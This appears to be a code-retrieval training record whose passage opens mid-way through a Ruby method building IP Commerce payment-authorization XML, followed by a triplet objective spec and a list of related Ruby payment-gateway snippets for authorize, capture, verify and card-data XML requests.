xml['ns4'].PaymentAccountDataToken('xmlns:ns4' => "http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text(params[:PaymentAccountDataToken]) xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions",'i:nil' =>"true") xml['ns6'].EncryptionKeyId('xmlns:ns6' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions",'i:nil' =>"true") xml['ns7'].SwipeStatus('xmlns:ns7' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions",'i:nil' =>"true") xml['ns1'].CardData('i:nil' =>"true") xml['ns1'].EcommerceSecurityData('i:nil' =>"true") else #p "without token...." xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions", 'i:nil' =>"true") xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions",'i:nil' =>"true") xml['ns6'].EncryptionKeyId('xmlns:ns6' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions",'i:nil' =>"true") xml['ns7'].SwipeStatus('xmlns:ns7' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions",'i:nil' =>"true") xml['ns1'].CardData{ xml['ns1'].CardType params[:CardType] if params[:Track2Data].present? xml['ns1'].Track2Data params[:Track2Data] xml['ns1'].PAN('i:nil' =>"true") xml['ns1'].Expire('i:nil' =>"true") xml['ns1'].Track1Data('i:nil' =>"true") elsif params[:Track1Data].present? xml['ns1'].Track1Data params[:Track1Data] xml['ns1'].PAN('i:nil' =>"true") xml['ns1'].Expire('i:nil' =>"true") xml['ns1'].Track2Data('i:nil' =>"true") else xml['ns1'].PAN params[:PAN] xml['ns1'].Expire params[:Expire] xml['ns1'].Track1Data('i:nil' =>"true") xml['ns1'].Track2Data('i:nil' =>"true") end } xml['ns1'].EcommerceSecurityData('i:nil' =>"true") end } xml['ns2'].CustomerData('xmlns:ns2' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions"){ xml['ns2'].BillingData{ xml['ns2'].Name('i:nil' =>"true") xml['ns2'].Address{ xml['ns2'].Street1 params[:Street1] xml['ns2'].Street2('i:nil' =>"true") xml['ns2'].City params[:City] xml['ns2'].StateProvince params[:StateProvince] xml['ns2'].PostalCode params[:PostalCode] xml['ns2'].CountryCode params[:CountryCode] } xml['ns2'].BusinessName 'MomCorp' xml['ns2'].Phone params[:Phone] xml['ns2'].Fax('i:nil' =>"true") xml['ns2'].Email params[:Email] } xml['ns2'].CustomerId 'cust123' xml['ns2'].CustomerTaxId('i:nil' =>"true") xml['ns2'].ShippingData('i:nil' =>"true") } xml['ns3'].ReportingData('xmlns:ns3' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions"){ xml['ns3'].Comment 'a test comment' xml['ns3'].Description 'a test description' xml['ns3'].Reference '001' } xml['ns1'].TransactionData{ if params[:Amount] != '' xml['ns8'].Amount('xmlns:ns8' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text(params[:Amount]) else xml['ns8'].Amount('xmlns:ns8' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text('0.00') end #xml['ns8'].Amount('xmlns:ns8' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text(params[:Amount]) xml['ns9'].CurrencyCode('xmlns:ns9' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text('USD') xml['ns10'].TransactionDateTime('xmlns:ns10' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text('2013-04-03T13:50:16') xml['ns11'].CampaignId('xmlns:ns11' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions",'i:nil' =>"true") xml['ns12'].Reference('xmlns:ns12' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text('xyt') xml['ns1'].AccountType 'NotSet' xml['ns1'].ApprovalCode('i:nil' =>"true") xml['ns1'].CashBackAmount '0.0' xml['ns1'].CustomerPresent 'Present' xml['ns1'].EmployeeId '11' xml['ns1'].EntryMode params[:EntryMode] xml['ns1'].GoodsType 'NotSet' xml['ns1'].IndustryType params[:IndustryType] xml['ns1'].InternetTransactionData('i:nil' =>"true") xml['ns1'].InvoiceNumber params[:InvoiceNumber] xml['ns1'].OrderNumber params[:OrderNumber] xml['ns1'].IsPartialShipment 'false' xml['ns1'].SignatureCaptured 'false' xml['ns1'].FeeAmount '0.0' xml['ns1'].TerminalId('i:nil' =>"true") xml['ns1'].LaneId('i:nil' =>"true") xml['ns1'].TipAmount '0.0' xml['ns1'].BatchAssignment('i:nil' =>"true") xml['ns1'].PartialApprovalCapable 'NotSet' xml['ns1'].ScoreThreshold('i:nil' =>"true") xml['ns1'].IsQuasiCash 'false' } } } end.to_xml rescue Exception => ex return "Some value not set in xml for authorizeAndCaptureXML!" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def captureXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.ChangeTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"Capture\" ) {\n xml.ApplicationProfileId application_profile_id #'14644'\n xml.DifferenceData('xmlns:d2p1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions',\n 'xmlns:d2p2' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard', \n 'xmlns:d2p3' => 'http://schemas.ipcommerce.com/CWS/v2.0/TransactionProcessing',\n 'i:type' => \"d2p2:BankcardCapture\"){\n xml['d2p1'].TransactionId params[:TransactionId]#'760CBDD65E4642E49A3CD2E2F3257A10'\n if params[:Amount] != ''\n xml['d2p2'].Amount params[:Amount]\n else\n xml['d2p2'].Amount '0.00'\n end \n xml['d2p2'].TipAmount '0.00' \n }\n } \n end.to_xml \n rescue Exception => ex\n return \"transaction id and/or amount not set in xml for captureXML!\"\n end \n end", "def authorizeXML(params) \n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.AuthorizeTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', \n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"AuthorizeTransaction\" ) {\n xml.ApplicationProfileId application_profile_id\n xml.MerchantProfileId merchant_profile_id\n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\",\n 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n if params[:SwipeStatus].present? && params[:IdentificationInformation].present? && params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present?\n #p \"Swipe card..maga...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SwipeStatus])\n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation params[:IdentificationInformation]\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n elsif params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? \n #p \"Swipe card..Dukp...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n elsif params[:PaymentAccountDataToken].present?\n #p \"PaymentAccountDataToken...........\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:PaymentAccountDataToken])\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n else \n #p \"without token....\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\", 'i:nil' =>\"true\")\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType] \n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end \n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n end\n }\n xml['ns2'].CustomerData('xmlns:ns2' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns2'].BillingData{\n xml['ns2'].Name('i:nil' =>\"true\")\n xml['ns2'].Address{\n xml['ns2'].Street1 params[:Street1] \n xml['ns2'].Street2('i:nil' =>\"true\")\n xml['ns2'].City params[:City] \n xml['ns2'].StateProvince params[:StateProvince]\n xml['ns2'].PostalCode params[:PostalCode]\n xml['ns2'].CountryCode params[:CountryCode]\n }\n xml['ns2'].BusinessName 'MomCorp'\n xml['ns2'].Phone params[:Phone]\n xml['ns2'].Fax('i:nil' =>\"true\")\n xml['ns2'].Email params[:Email]\n }\n xml['ns2'].CustomerId 'cust123'\n xml['ns2'].CustomerTaxId('i:nil' =>\"true\")\n xml['ns2'].ShippingData('i:nil' =>\"true\")\n }\n xml['ns3'].ReportingData('xmlns:ns3' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns3'].Comment 'a test comment'\n xml['ns3'].Description 'a test description'\n xml['ns3'].Reference '001'\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n #xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD') \n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2013-04-03T13:50:16')\n xml['ns11'].CampaignId('xmlns:ns11' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns12'].Reference('xmlns:ns12' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('xyt')\n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].ApprovalCode('i:nil' =>\"true\")\n xml['ns1'].CashBackAmount '0.0'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n xml['ns1'].EntryMode params[:EntryMode]\n xml['ns1'].GoodsType 'NotSet'\n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InternetTransactionData('i:nil' =>\"true\")\n xml['ns1'].InvoiceNumber params[:InvoiceNumber]\n xml['ns1'].OrderNumber params[:OrderNumber]\n xml['ns1'].IsPartialShipment 'false'\n xml['ns1'].SignatureCaptured 'false'\n xml['ns1'].FeeAmount '0.0'\n xml['ns1'].TerminalId('i:nil' =>\"true\")\n xml['ns1'].LaneId('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n xml['ns1'].BatchAssignment('i:nil' =>\"true\")\n xml['ns1'].PartialApprovalCapable 'NotSet'\n xml['ns1'].ScoreThreshold('i:nil' =>\"true\")\n xml['ns1'].IsQuasiCash 'false' \n }\n }\n } \n end.to_xml \n rescue Exception => ex\n return \"Some value not set in xml for authorizeXML!\"\n end\n end", "def auth_capture_transaction\n data = full_params.merge(\n 'x_unique_id' => unique_id,\n 'x_invoice_num' => invoice_num,\n 'x_type' => \"AUTH_CAPTURE\"\n )\n\n astro_curl(@validator_url, data)\n end", "def verifyXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.AuthorizeTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"AuthorizeTransaction\" ) {\n xml.ApplicationProfileId application_profile_id #'14560'\n xml.MerchantProfileId merchant_profile_id #'PrestaShop Global HC'\n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\",\n 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType]\n xml['ns1'].CardholderName params[:CardholderName]\n # xml['ns1'].PAN params[:PAN] #'4111111111111111'\n # xml['ns1'].Expire params[:Expire]\n # xml['ns1'].Track1Data('i:nil' =>\"true\")\n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end\n }\n xml['ns1'].CardSecurityData{\n xml['ns1'].AVSData{\n xml['ns1'].CardholderName('i:nil' =>\"true\") \n xml['ns1'].Street params[:Street]\n xml['ns1'].City params[:City]\n xml['ns1'].StateProvince params[:StateProvince]\n xml['ns1'].PostalCode params[:PostalCode]\n xml['ns1'].Phone params[:Phone]\n xml['ns1'].Email params[:Email]\n }\n xml['ns1'].CVDataProvided 'Provided'\n xml['ns1'].CVData params[:CVData]\n xml['ns1'].KeySerialNumber('i:nil' =>\"true\")\n xml['ns1'].PIN('i:nil' =>\"true\") \n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\")\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD')\n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2014-04-03T13:50:16') \n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n if params[:Track2Data].present? || params[:Track1Data].present?\n xml['ns1'].EntryMode params[:EntryMode]\n else\n xml['ns1'].EntryMode 'Keyed'\n end \n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InvoiceNumber('i:nil' =>\"true\")\n xml['ns1'].OrderNumber('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n } \n }\n }\n end.to_xml\n rescue Exception => ex\n return \"Some value not set in xml for verifyXML!\"\n end\n end", "def capture(money, authorization, options = {})\n options[:confirmation_id] = authorization\n response_message = 'XML Capture file successfully submitted.'\n begin\n xml = build_capture_xml(money, options)\n success = upload_file xml\n rescue Exception => e\n response_message = \"XML Capture failed: #{e.message}\"\n end\n #TODO: what to build for the response? what is needed?\n response = {}\n # Return the response.\n Response.new(success, response_message, response,\n :test => test?,\n # :authorization => @response['authorizationCode'],\n # :avs_code => @response['addressValidationCode'],\n # :transaction_id => @response['transactionCode']\n )\n end", "def capture(params = {})\n req = WebPay::ChargeRequestWithAmount.create(params)\n raw_response = @client._request(:post, 'charges' + '/' + req.id.to_s + '/' + 'capture', req)\n WebPay::ChargeResponse.new(raw_response)\n end", "def to_xml(xml=Builder::XmlMarkup.new)\n attributes = {}\n attributes['ForceAuthn'] = force_authn unless force_authn.nil?\n attributes['IsPassive'] = is_passive unless is_passive.nil?\n # TODO implement assertion consumer service index\n # TODO implement assertion consumer service URL\n attributes['ProtocolBinding'] = protocol_binding unless protocol_binding.nil?\n attributes['AttributeConsumingServiceURL'] = attribute_consuming_service_url unless attribute_consuming_service_url.nil?\n attributes['ProviderName'] = provider_name unless provider_name.nil?\n attributes = add_xmlns(attributes)\n xml.tag!('samlp:AuthnRequest', attributes) {\n xml << subject.to_xml unless subject.nil?\n xml << name_id_policy.to_xml unless name_id_policy.nil?\n xml << conditions.to_xml unless conditions.nil?\n xml << requested_authn_context unless requested_authn_context.nil?\n xml << scoping.to_xml unless scoping.nil?\n }\n end", "def authorized_with_capture(options = {})\n options = { date_authorized: Date.current, date_captured: Date.current }.merge(options)\n request_params = {\n 'customerID' => customer_id,\n 'cartID' => cart_id,\n 'orderID' => order_id,\n 'dateAuthorized' => xml_date(options[:date_authorized]),\n 'dateCaptured' => xml_date(options[:date_captured])\n }\n\n response = TaxCloud.client.request :authorized_with_capture, request_params\n TaxCloud::Responses::AuthorizedWithCapture.parse response\n end", "def capture_transaction\n data = full_params.merge(\n 'x_unique_id' => unique_id,\n 'x_invoice_num' => invoice_num,\n 'x_auth_code' => approval_code,\n 'x_type' => \"CAPTURE_ONLY\"\n )\n\n astro_curl(@validator_url, data)\n end", "def build_purchase_or_authorization_request(type, money, credit_card, options)\n xml = Builder::XmlMarkup.new :indent => 2\n xml.instruct!\n xml.tag! :Request do\n add_authentication(xml)\n \n xml.tag! :Transaction do\n xml.tag! :CardTxn do\n xml.tag! :method, type\n \n add_credit_card(xml, credit_card, options[:billing_address] || options[:address])\n end\n xml.tag! :TxnDetails do\n xml.tag! :merchantreference, format_reference_number(options[:order_id])\n xml.tag! :amount, amount(money), :currency => options[:currency] || currency(money)\n end\n end\n end\n xml.target!\n end", "def build_capture_request(money, authorization, options)\n post = {}\n add_pair(post, :authorizationid, authorization)\n add_amount(post, money, options)\n add_pair(post, :completetype, (options[:complete] || \"Complete\"))\n add_pair(post, :note, options[:description]) if options[:description]\n add_pair(post, :softdescriptor, options[:soft_descriptor]) if options[:soft_descriptor]\n post\n end", "def successful_authorize_response\n <<-XML\n <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n <EngineDocList>\n <DocVersion DataType=\"String\">1.0</DocVersion>\n <EngineDoc>\n <Overview>\n <AuthCode DataType=\"String\">889350</AuthCode>\n <CcErrCode DataType=\"S32\">1</CcErrCode>\n <CcReturnMsg DataType=\"String\">Approved.</CcReturnMsg>\n <DateTime DataType=\"DateTime\">1212066788586</DateTime>\n <Mode DataType=\"String\">Y</Mode>\n <OrderId DataType=\"String\">483e6382-7d12-3001-002b-0003bac00fc9</OrderId>\n <TransactionId DataType=\"String\">483e6382-7d13-3001-002b-0003bac00fc9</TransactionId>\n <TransactionStatus DataType=\"String\">A</TransactionStatus>\n </Overview>\n </EngineDoc>\n </EngineDocList>\n XML\n end", "def to_params\n params = self.to_hash.merge(\n 'Action' => action_name,\n 'AWSAccessKeyId' => AmazonFlexPay.access_key,\n 'Version' => AmazonFlexPay::API_VERSION,\n 'Timestamp' => format_value(Time.now)\n )\n\n params['SignatureVersion'] = 2\n params['SignatureMethod'] = 'HmacSHA256'\n params['Signature'] = AmazonFlexPay.signature(AmazonFlexPay.api_endpoint, params)\n\n params\n end", "def capture(params)\n request(Resources::RESOURCE_CAPTURE, HTTP_METHOD_POST, params)\n end", "def to_xml\n raise WebexXmlApi::NotEnoughArguments, 'SecurityContext' unless valid?\n builder = Nokogiri::XML::Builder.new(encoding: 'UTF-8') do |xml|\n xml.header do\n xml.securityContext do\n PARAMETER_MAPPING.each_pair do |k, v|\n xml.send(v, send(k)) if send(k)\n end\n end\n end\n end\n builder.to_xml.gsub(\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\", '')\n end", "def auth(params ={})\r\n @PARAM_HASH['TRANSACTION_TYPE'] = 'AUTH'\r\n @PARAM_HASH['AMOUNT'] = params[:amount]\r\n @PARAM_HASH['RRNO'] = params[:trans_id] || ''\r\n @PARAM_HASH['CUST_TOKEN'] = params[:customer_token] if params[:customer_token]\r\n @api = \"bp10emu\"\r\n \r\n if params[:new_customer_token] && params[:new_customer_token] != false\r\n @PARAM_HASH['NEW_CUST_TOKEN'] = params[:new_customer_token] == true ? SecureRandom.hex(8) : params[:new_customer_token]\r\n end\r\n end", "def build_creditcard_from_params(params)\n ActiveMerchant::Billing::CreditCard.new(\n :number => params[:number],\n :month => params[:month],\n :year => params[:year],\n :first_name => params[:first_name],\n :last_name => params[:last_name],\n :verification_value => params[:verification])\n end", "def build_void_or_capture_request(type, money, authorization, options)\n reference, auth_code = authorization.to_s.split(';')\n \n xml = Builder::XmlMarkup.new :indent => 2\n xml.instruct!\n xml.tag! :Request do\n add_authentication(xml)\n \n xml.tag! :Transaction do\n xml.tag! :HistoricTxn do\n xml.tag! :reference, reference\n xml.tag! :authcode, auth_code\n xml.tag! :method, type\n end\n \n if money\n xml.tag! :TxnDetails do\n xml.tag! :merchantreference, format_reference_number(options[:order_id])\n xml.tag! :amount, amount(money), :currency => options[:currency] || currency(money)\n end\n end\n end\n end\n xml.target!\n end", "def test_authorize_and_capture\n amount = @amount\n assert response = @gateway.authorize(amount, @credit_card, @options)\n assert_success response\n assert_nil response.message\n assert response.authorization\n assert capture = @gateway.capture(amount, response.authorization)\n assert_success capture\n end", "def captureAllXML()\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.CaptureAll('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', \n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>\"CaptureAll\" ) {\n xml.ApplicationProfileId application_profile_id\n xml.MerchantProfileId merchant_profile_id\n xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays', 'i:nil'=> \"true\")\n xml.DifferenceData('xmlns:d2p1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions','i:nil'=> \"true\")\n } \n end.to_xml \n rescue Exception => ex\n return \"Some value not set in xml for captureAllXML!\"\n end \n end", "def authorize_credit_card\n main_body = {\n createTransactionRequest: {\n merchantAuthentication: merchant_authentication,\n transactionRequest: {\n transactionType: 'authOnlyTransaction',\n amount: '8.75',\n payment: {\n creditCard: {\n cardNumber: '5424000000000015',\n expirationDate: '1220',\n cardCode: '900'\n }\n }\n }\n }\n }\n\n response = self.class.post('', basic_auth: @auth, body: main_body.to_json,\n headers: { 'Content-Type' => 'application/json' })\n JSON.parse(response.body.delete(''))\n end", "def build_void_or_capture_request(type, money, authorization, options)\n reference, auth_code, ca_reference = authorization.to_s.split(';')\n\n xml = Builder::XmlMarkup.new :indent => 2\n xml.instruct!\n xml.tag! :Request do\n add_authentication(xml)\n\n xml.tag! :Transaction do\n xml.tag! :HistoricTxn do\n xml.tag! :reference, reference\n xml.tag! :authcode, auth_code\n xml.tag! :method, type\n end\n\n if money\n xml.tag! :TxnDetails do\n xml.tag! :merchantreference, format_reference_number(options[:order_id]) unless options[:order_id].nil?\n xml.tag! :amount, amount(money), :currency => options[:currency] || currency(money)\n end\n end\n end\n end\n xml.target!\n end", "def authorize(params)\n\n query = {\n 'publisher-name' => publisher_name,\n 'mode' => 'auth'\n }\n\n # Set up HTTP request query parameters from method parameters.\n possible_params = %w(card-number card-name card-type card-amount card-exp card-cvv\n email ship-name address1 address2 city state zip country)\n possible_params.each do |param|\n query[param] = CGI.unescape(params[param]) if params[param]\n end\n\n # Show the query in the log if debug mode.\n RAILS_DEFAULT_LOGGER.warn(\"Plug N Pay URL: #{api_url}\") if debug\n RAILS_DEFAULT_LOGGER.warn(\"Plug N Pay query data: #{query.inspect}\") if debug\n\n # Perform HTTP request.\n response_string = Service.post(api_url, :body => query)\n RAILS_DEFAULT_LOGGER.warn(\"Plug N Pay response: \" +\n (response_string.nil? ? 'nil' : CGI.unescape(response_string.gsub(/\\&/,\"\\n\")))) if debug\n\n raise Problem, \"No response\" if response_string.nil?\n\n # Parse HTTP response into a Ruby hash.\n response_values = response_string.split(/\\&/)\n response = Hash[*response_values.collect {|value|\n [value.match(/^(.*)\\=/)[1], value.match(/\\=(.*)$/)[1]] }.flatten]\n\n # Raise errors if necessary.\n case response['FinalStatus']\n when /badcard/i\n raise BadCard, CGI.unescape(response['MErrMsg'])\n when /problem/i\n raise Problem, CGI.unescape(response['MErrMsg'])\n when /fraud/i\n raise Fraud, CGI.unescape(response['MErrMsg'])\n else\n # Return the response.\n response\n end\n end", "def auth(params ={})\r\n @PARAM_HASH['TRANSACTION_TYPE'] = 'AUTH'\r\n @PARAM_HASH['AMOUNT'] = params[:amount]\r\n @PARAM_HASH['RRNO'] = params[:trans_id] || ''\r\n @api = \"bp10emu\"\r\n end", "def add_token(xml, token, expiry, address, cv2)\n\n xml.tag! :Card do\n\n # DataCash calls the CC number 'pan'\n xml.tag! :pan, {type: 'token'}, token\n xml.tag! :expirydate, format_date(expiry.month, expiry.year)\n\n xml.tag! :Cv2Avs do\n xml.tag! :cv2, cv2\n xml.tag! :cv2_present, '1'\n\n if address\n xml.tag! :street_address1, address[:address1] unless address[:address1].blank?\n xml.tag! :street_address2, address[:address2] unless address[:address2].blank?\n xml.tag! :street_address3, address[:city] unless address[:city].blank?\n xml.tag! :street_address4, address[:state] unless address[:state].blank?\n xml.tag! :postcode, address[:zip] unless address[:zip].blank?\n xml.tag! :country, address[:country] unless address[:country].blank?\n end\n # The ExtendedPolicy defines what to do when the passed data\n # matches, or not...\n #\n # All of the following elements MUST be present for the\n # xml to be valid (or can drop the ExtendedPolicy and use\n # a predefined one\n # xml.tag! :ExtendedPolicy do\n # xml.tag! :cv2_policy,\n # :notprovided => POLICY_REJECT, # REJ\n # :notchecked => POLICY_REJECT, # REJ\n # :matched => POLICY_ACCEPT,\n # :notmatched => POLICY_REJECT, # REJ\n # :partialmatch => POLICY_REJECT\n # xml.tag! :postcode_policy,\n # :notprovided => POLICY_ACCEPT,\n # :notchecked => POLICY_ACCEPT,\n # :matched => POLICY_ACCEPT,\n # :notmatched => POLICY_REJECT, # REJ\n # :partialmatch => POLICY_ACCEPT\n # xml.tag! :address_policy,\n # :notprovided => POLICY_ACCEPT,\n # :notchecked => POLICY_ACCEPT,\n # :matched => POLICY_ACCEPT,\n # :notmatched => POLICY_REJECT, # REJ\n # :partialmatch => POLICY_ACCEPT\n # end\n end\n end\n end", "def add_credit_card(xml, credit_card, address)\n xml.tag! :Card do\n \n # DataCash calls the CC number 'pan'\n xml.tag! :pan, credit_card.number\n xml.tag! :expirydate, format_date(credit_card.month, credit_card.year)\n \n # optional values - for Solo etc\n if [ 'switch', 'solo' ].include?(credit_card.type.to_s)\n \n xml.tag! :issuenumber, credit_card.issue_number unless credit_card.issue_number.blank?\n \n if !credit_card.start_month.blank? && !credit_card.start_year.blank?\n xml.tag! :startdate, format_date(credit_card.start_month, credit_card.start_year)\n end\n end\n \n xml.tag! :Cv2Avs do\n xml.tag! :cv2, credit_card.verification_value if credit_card.verification_value?\n xml.tag! :street_address1, address[:address1] unless address[:address1].blank?\n xml.tag! :street_address2, address[:address2] unless address[:address2].blank?\n xml.tag! :street_address3, address[:address3] unless address[:address3].blank?\n xml.tag! :street_address4, address[:address4] unless address[:address4].blank?\n xml.tag! :postcode, address[:zip] unless address[:zip].blank?\n \n # The ExtendedPolicy defines what to do when the passed data \n # matches, or not...\n # \n # All of the following 